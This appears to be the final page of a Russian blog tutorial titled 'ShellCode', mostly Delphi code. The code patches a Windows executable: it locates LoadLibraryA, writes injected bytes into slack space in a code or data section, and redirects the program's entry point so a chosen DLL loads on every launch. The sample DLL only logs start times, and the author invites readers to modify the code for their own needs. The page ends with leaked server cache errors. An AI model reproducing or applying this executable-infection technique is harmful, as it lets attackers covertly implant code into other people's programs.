// вы читаете...

Новости

ShellCode



Readfile(h,s,12,__,nil);
until (s=FuncName)or(LLA=0);
end;
SetFilePointer(h,_._lfanew,0,FILE_BEGIN);
end;
if s<>FuncName then exit;
SetFilePointer(h,0,0,FILE_BEGIN); // нашли адрес LoadLibraryA’a и теперь можем (и даже должны :)) записать код в файл.
readFile(h,_,sizeof(_),__,nil);
SetFilePointer(h,_._lfanew+sizeof(ioh),0,FILE_BEGIN);
oe.SizeOfSect:=1;
while (((oe.Name<>’DATA’) and (oe.Name<>’.text’)and (oe.Name<>’CODE’) and (oe.Name<>’.data’))or (oe.RealSize-oe.SizeOfSect<40))and (oe.SizeOfSect<>0) do // Будем помещать код в секции данных или кода. Так же нам важен и размер неиспользуемой части секции. (что б наш код поместился)
readfile(h,oe,sizeof(oe),__,nil);
if oe.Name=» then exit;
newRva:=SetFilePointer(h,rva2offset(h,oe.RVA)+oe.SizeOfSect,0,FILE_BEGIN); // Теперь всё формируем и пишем
Writefile(h,mas,sizeof(mas),__,nil);
hel:=Offset2Rva(h,hel)+ioh.OptionalHeader.ImageBase -4;
Writefile(h,hel,sizeof(hel),__,nil);
Writefile(h,mas1,sizeof(mas1),__,nil);
ioh.OptionalHeader.AddressOfEntryPoint:=ioh.OptionalHeader.AddressOfEntryPoint-Offset2Rva(h,SetFilePointer(h, 0, 0, FILE_CURRENT)+4);// вычисляем значение для прыжка. Оно равно разности между последующим RVA и Original RVA. Writefile(h,ioh.OptionalHeader.AddressOfEntryPoint,sizeof(ioh.OptionalHeader.AddressOfEntryPoint),__,nil); // теперь записываем все модификации.
newrva:=Offset2Rva(h, newrva);
SetFilePointer(h, 0, 0, FILE_BEGIN);
readFile(h, _, sizeof(_), __, nil);
SetFilePointer(h, _._lfanew, 0, FILE_BEGIN);
ioh.OptionalHeader.AddressOfEntryPoint:=newrva;
Writefile(h, ioh, sizeof(ioh), __, nil);
CloseHandle(h);
end.

Код DLL’ки же зависит от того, что мы пишем. Я для примера написал DLL’ку которая ведёт лог запусков программы:

library MyOwn;

uses
windows, sysutils;

var f:text;
begin
assignfile(f, ‘test.txt’);
if fileexists(‘test.txt’)then append(f)
else rewrite(f);
writeln(f, datetimetostr(now));
closefile(f);
end.

Вот и всё! Этот пример каждый может модифицировать под свои нужды. Если есть вопросы/пожелания/комментарии – пишите.

Страницы: 1 2 3 4

Обсуждене

Отзывов нет на «ShellCode»

Ваш отзыв

Рубрики


Error: Can't open cache file!
Error: Can't write cache!
2021-09-24 6:40:35 - : /var/www/it-freelance.ru/3492ujnfmcdnfbvhgyr87w9i/cache_it-freelance_ru_d5.txt
2021-09-24 6:40:35 - : /var/www/it-freelance.ru/3492ujnfmcdnfbvhgyr87w9i/cache_it-freelance_ru_d5.txt